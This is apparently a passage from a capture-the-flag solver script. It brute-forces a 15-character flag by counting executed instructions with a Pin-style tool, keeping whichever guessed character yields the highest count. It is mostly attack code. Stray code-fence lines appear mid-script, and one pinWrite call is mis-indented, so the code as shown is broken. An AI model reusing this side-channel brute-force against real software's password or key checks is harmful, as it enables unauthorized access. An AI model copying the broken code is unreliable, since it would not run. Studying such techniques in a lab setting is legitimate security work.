shellx19="zzQzQQzzaaasaazbGbGGLLYLYLYYbYsfssfffffmmfmfmWWKKVKKVKKWKKVKVsVsVsVVVsVVtVt"
shellx20="Z4Z4444MMMMMjjZddnddaaddnnddaaIIIIhIIIIIiiiiW3ffff88ff3f3ff8FfFFfFfFFSFFfFF"
```

```
shellx21="kkrrrsrsrrsssppiMiiWiiMMiiMiMi"
shellx1=shellx1+shellx2+shellx3+shellx4+shellx5+shellx6+shellx7+shellx8+shellx9
shellx1=shellx1+shellx10+shellx11+shellx12+shellx13+shellx14+shellx15+shellx16+shellx17
shellx1=shellx1+shellx18+shellx19+shellx20+shellx21
cout_old=0
start_time = time.time()
for i in range(15):
    max_num = 0
    max_ch = ""
    for ch in chs99:
        tmp = s + ch +(15-len(s)-1)*'?'+'\n'
        shell.initPin(cmd)
    shell.pinWrite(shellx1)
        shell.pinWrite(tmp)
        sout,serr = shell.pinRun()
        with open('inscount.out') as f:
            count = f.readline().split(' ')[1]
        count = int(count)
        print(count,tmp,sout)
        if(count>max_num):
            max_num = count
            max_ch = ch
    s+=max_ch
    print(max_num,max_ch)
    print('flag:'+s)
```